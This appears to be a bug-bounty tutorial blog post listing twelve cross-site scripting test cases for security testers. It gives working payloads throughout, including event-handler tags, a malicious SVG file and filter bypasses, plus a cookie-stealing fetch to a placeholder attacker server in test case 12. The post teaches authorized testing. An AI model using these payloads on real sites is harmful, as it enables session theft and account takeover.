You are browsing your favorite website. You click a link someone shared with you. The page loads normally. Nothing looks wrong.

But behind the scenes, your session cookie just got stolen. The attacker is now logged into your account.

That is what a successful XSS attack looks like from the victim's side. Completely invisible. Completely devastating.

The good news? As a security tester, finding XSS is very learnable. You do not need to be a JavaScript expert. You just need to know where to look and what to inject.

In this blog, I will walk you through 12 XSS test cases in plain, simple English — with real examples, step-by-step instructions, and clear explanations of why each one works.

Let's go.

First, what is XSS?

XSS stands for Cross-Site Scripting.

None
Photo by Marga Santoso on Unsplash

It happens when a website takes your input — something you typed — and puts it directly onto the page without cleaning it first. If you type JavaScript code instead of normal text, the browser reads it and executes it as real code.

Here is the simplest example:

You type this into a search box:

<script>alert(1)</script>

A vulnerable website puts that directly onto the page. The browser sees a <script> tag and runs it. A pop-up appears showing the number 1.

That pop-up is your proof. The browser just executed your code.

Now imagine instead of alert(1) An attacker puts code that steals your session cookie and sends it to their server. Same concept. Much worse outcome.

Three Types of XSS — Explained Simply

Before the test cases, you need to know there are three types:

1. Reflected XSS — Your payload is in the URL. The server puts it on the page. It only runs when the victim clicks your crafted link.

2. Stored XSS — Your payload gets saved in the database. It runs every time anyone visits that page. More dangerous.

3. DOM-Based XSS — The payload never goes to the server. It lives in the URL and gets processed entirely by JavaScript in the browser.

Now let's find them.

The 12 Test Cases

Test Case #1 — The Basic Alert Test

What you are testing: Does this input field reflect your input back without sanitizing it?

How to do it:

  1. Find any input field — search box, name field, comment box, URL parameter
  2. Type this: <script>alert(1)</script>
  3. Submit and see what happens

What to look for:

  • A pop-up box appears showing the number 1 (XSS confirmed!)
  • You see the text <script>alert(1)</script> displayed on the page (input is being encoded, safer)
  • Nothing happens (script might be filtered)

Why it works:

If the website just takes your input and puts it on the page as-is, the browser sees <script> and treats it like real code. The alert(1) function makes a pop-up, which is harmless but proves that the browser ran your script.

Pro tip: This alert(1) is just for testing. In a real attack, the script would do something much more harmful.

Test Case #2 — XSS in the URL Parameter (Reflected XSS)

What you are testing: Is the URL parameter vulnerable to reflected XSS?

How to do it:

  1. Find a URL likehttps://example.com/search?q=hello
  2. Replace hello with: <script>alert(1)</script>
  3. The URL becomes: https://example.com/search?q=<script>alert(1)</script>
  4. Press Enter and watch the page

What to look for:

  • Alert pop-up appears (reflected XSS confirmed!)
  • The page shows your text as plain text (properly encoded)

Why it works:

Search pages often display "You searched for: [your input]" on the page. If your input is placed there without encoding, the browser reads your <script> tag as code and runs it.

Real-world impact: An attacker crafts this URL and sends it to victims. When the victim clicks the link, the script runs in their browser on the legitimate website's domain.

Test Case #3 — XSS in Comment or Review Fields (Stored XSS)

What you are testing: Does the website store and display your script to other users?

How to do it:

  1. Find a comment box, product review, bio field, or any field that saves your input and shows it to others
  2. Type: <script>alert(document.cookie)</script>
  3. Submit and save
  4. Now open a different browser or incognito window
  5. Navigate to the page where comments/reviews are shown

What to look for:

  • Alert pop-up appears in the second browser too (Stored XSS confirmed — most dangerous type!)
  • Script runs only for you (still XSS, but less severe)
  • No pop-up anywhere (not vulnerable this way)

Why it works:

The website saved your script in its database. Every single person who visits that page gets the script injected into their browser, and it executes. The attacker only needs to submit the payload once.

Why this is the worst type: one payload. Unlimited victims. Forever — until someone finds and removes it.

Test Case #4 — When Script Tags Are Blocked (Image Tag Bypass)

What you are testing: Can you execute XSS even when <script> tags are filtered?

How to do it:

  1. If it<script>alert(1)</script> Does not work; try this instead:
<img src="x" onerror="alert(1)">
  1. Submit it in any input field

What to look for:

  • Alert pop-up appears (XSS confirmed via image tag bypass!)

Why it works:

The website might block <script> tags specifically but forget to block event handlers inside other HTML tags. The <img> tag tries to load an image from "x" a location that does not exist. Loading fails, onerror firing, and your code runs.

Other tags that work similarly:

<svg onload="alert(1)">
<body onload="alert(1)">
<input autofocus onfocus="alert(1)">

Test Case #5 — XSS Without Any HTML Tags (Attribute Injection)

What you are testing: Can you inject XSS directly inside an HTML attribute?

How to do it:

  1. Type your name, and notice it appears in the page source like this:
<input value="YourName">
  1. Now, instead of your name, type: " onmouseover="alert(1)
  2. In the source, it becomes
<input value="" onmouseover="alert(1)">
  1. Hover your mouse over the input field

What to look for:

  • An alert pop-up appears when you hover (Attribute-based XSS confirmed!)

Why it works:

You closed the value attribute and added a new event handler. No <script> tag needed at all. The browser executes it because it is a valid HTML attribute.

Test Case #6 — DOM-Based XSS via URL Hash

What you are testing: Is JavaScript reading the URL and putting it on the page without sanitizing it?

How to do it:

  1. —like: # — like: https://example.com/page#welcome
  2. And the page displays something like "Welcome, welcome!"
  3. Change the URL to: https://example.com/page#<img src=x onerror=alert(1)>
  4. Press Enter

What to look for:

  • Alert pop-up appears (DOM-based XSS confirmed!)

Why it works:

Everything after # In a URL, the fragment is called. It is never sent to the server — it stays in the browser. But if JavaScript reads location.hash and writes it to the page without sanitizing it first, your payload executes entirely in the browser.

Why this is tricky: Server-side scanners cannot detect this. The payload never reaches the server.

Test Case #7 — XSS in the Page Title or Heading

What you are testing: Is there XSS in fields that appear in headings or page titles?

How to do it:

  1. Find any profile page, forum, or app where your name or username appears in a heading
  2. Change your display name or username to: <script>alert(1)</script>
  3. Save the profile
  4. Visit your profile page or any page showing your name

What to look for:

  • Alert pop-up fires when the page loads (Stored XSS in profile name!)

Why this matters:

Profile names show up everywhere — in comments, in the header, in user lists. If the name is not sanitized, your stored script runs on every single page it appears on.

Test Case #8 — XSS in the Search "No Results" Page

What you are testing: Does the "no results found" page reflect your search term without encoding?

How to do it:

  1. Search for something that returns no results
  2. Notice the page says something like: "No results found for: [your search term]"
  3. Now search for: <script>alert(1)</script>
  4. Read the page carefully

What to look for:

  • Alert popup appears
  • Or the page source shows <script>alert(1)</script> unencoded in the HTML

Why this is commonly missed:

Developers often focus on sanitizing the results page. They forget about the "no results" message. This is a classic overlooked injection point in bug bounty.

Test Case #9 — XSS via File Upload (SVG Files)

What you are testing: Can you upload a file that executes JavaScript when opened?

How to do it:

  1. Create a file called test.svg with this content:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <rect width="100" height="100"/>
</svg>
  1. Upload it to the website's file upload feature (profile picture, document upload, etc.)
  2. After uploading, click the link to view or open the file

What to look for:

  • An alert pop-up appears when you open the file (SVG XSS confirmed!)

Why it works:

SVG files are XML-based images. Browsers render them as HTML, which means they can contain and execute JavaScript. Many developers allow SVG uploads, thinking it is just an image. It is not just an image.

Test Case #10 — Bypassing XSS Filters with Case Mixing

What you are testing: Does the filter block <script> but miss <SCRIPT> or <ScRiPt>?

How to do it:

If <script>alert(1)</script> is blocked, try these variations one by one:

<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<ScRiPt>alert(1)</ScRiPt>

Also, try encoding tricks:

<scr<script>ipt>alert(1)</scr</script>ipt>

What to look for:

  • Any variation causes an alert pop-up (filter bypass confirmed!)

Why it works:

Browsers are case-insensitive when reading HTML. They treat <SCRIPT> and <script> the same way. But some simple filters only check for lowercase <script> and miss everything else. The nested version works when filters strip <script> but do not repeat the check afterwards.

Test Case #11 — XSS in HTTP Headers (User-Agent, Referer)

What you are testing: Is there XSS in data from HTTP headers that gets logged and displayed in an admin panel?

How to do it:

  1. Open Burp Suite and intercept any request to the website
  2. Find the User-Agent header — it usually says something like Mozilla/5.0...
  3. Replace the entire User-Agent value with: <script>alert(1)</script>
  4. Send the request
  5. If you have access to an admin panel that shows visitor logs or analytics, check it

What to look for:

  • Alert pop-up fires when anyone views the admin logs page (Stored XSS in admin panel!)

Why this is dangerous:

This payload gets stored in server logs or analytics dashboards. When an admin views those logs, the script runs in the admin's browser, giving the attacker admin-level access.

Test Case #12 — Confirming Session Hijacking is possible.

What you are testing: Can XSS actually steal a session cookie? (Proof of real impact)

How to do it:

Once you have confirmed XSS fires on a page, replace yours alert(1) with this payload:

<script>
fetch('https://your-server.com/steal?c=' + document.cookie)
</script>

Or use Burp Suite Collaborator as your "your-server.com" — it captures incoming requests.

What to look for:

  • An incoming request arrives at your server containing the victim's cookie value (Full session hijack demonstrated!)

Important: Only do this on applications you have permission to test. Use your own account's cookies to demonstrate impact — never target real users.

Why this matters:

alert(1) proves XSS exists. This test case proves it has a real-world impact — a complete account takeover without the victim doing anything except visiting a page.

Tools You Will Need

  • Burp Suite — intercept requests and modify them in real time (free community edition works)
  • OWASP ZAP — a free automated scanner that catches many XSS issues
  • XSStrike — a smarter XSS detection tool that tries many bypass techniques automatically
  • Dalfox — fast command-line XSS scanner, great for bug bounty
  • Your browser's DevTools — press F12, go to Sources, and search JavaScript files manually

Where to Practice Safely

Never test XSS on real websites without permission. Use these free practice environments:

  • DVWA (Damn Vulnerable Web Application) : free, runs locally, has XSS challenges built in
  • XSS Game by Google — xss-game.appspot.com:fun XSS puzzles for beginners
  • HackTheBox and TryHackMe: legal hacking platforms with XSS labs
  • PortSwigger Web Security Academy: free, has excellent XSS labs at all levels

Before You Go — The Legal Reminder

Everything in this blog is for authorized security testing only.

  • Only test on websites you own
  • Or websites where you have written permission from the owner
  • Or the legal practice platforms listed above

Bug bounty programs are a great legal way to practice on real targets — companies invite you to test and pay you for valid findings.

XSS is everywhere. Seriously, it is one of the most common vulnerabilities found in bug bounty programs year after year.

The reason is the same as always: developers trust user input. They display your name, your search term, and your comment on the page—and forget that you might put something other than normal text in there.

Your job as a security tester is to think like that attacker. Every input field is a question: "What happens if I put a script tag here?"

Start asking that question everywhere. You will find things.

Enjoyed this? Follow me for more security testing checklists.

Previous blog: SQL Injection Testing Checklist — 10 Test Cases Every Security Tester Should Know

Tags: XSS · Cross Site Scripting · Web Security · Bug Bounty · Penetration Testing · Cybersecurity · OWASP